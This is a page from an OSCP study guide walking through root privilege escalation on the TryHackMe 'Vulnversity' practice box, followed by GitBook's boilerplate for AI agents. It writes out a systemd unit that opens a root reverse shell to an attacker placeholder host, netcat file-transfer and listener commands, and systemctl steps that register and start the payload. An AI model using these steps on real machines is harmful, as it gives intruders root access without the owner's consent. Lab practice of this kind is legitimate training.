> For the complete documentation index, see [llms.txt](https://alvinsmith.gitbook.io/progressive-oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alvinsmith.gitbook.io/progressive-oscp/untitled/vulnversity-privilege-escalation.md).

# Vulnversity (Privilege Escalation)

Practice box <https://tryhackme.com/room/vulnversity>

#### 0. Prepare your payload `root.service`

```
[Unit]
Description=roooooooooot

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/KaliIP/9999 0>&1'

[Install]
WantedBy=multi-user.target
```

#### 1. Find files/directories that writable

```
find -type f -maxdepth 2 -writable
```

or

```
find -type d -maxdepth 2 -writable
```

#### 2. Transfer the payload(There might be other ways)

**Init the target listening to the port**

```
nc -vl 44444 > root.service
```

**Send the file to target**

```
nc -n TargetIP 44444 < root.service
```

#### 3. Start listening on the 9999

```
nc -lvnp 9999
```

#### 4. Execute the payload(assume the file is under /var/tmp)

```
/bin/systemctl enable /var/tmp/root.service
Created symlink from /etc/systemd/system/multi-user.target.wants/root.service to /var/tmp/root.service
Created symlink from /etc/systemd/system/root.service to /var/tmp/root.service
```

```
/bin/systemctl start root
```

#### 5. The listening 9999 would give you the root

#### 6. Alternative solution: <https://gtfobins.github.io/gtfobins/systemctl/>

Expand Knowlege

<https://stackoverflow.com/questions/2491985/find-all-writable-files-in-the-current-directory>

<https://www.maketecheasier.com/netcat-transfer-files-between-linux-computers/>

<https://medium.com/@klockw3rk/privilege-escalation-leveraging-misconfigured-systemctl-permissions-bc62b0b28d49>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alvinsmith.gitbook.io/progressive-oscp/untitled/vulnversity-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
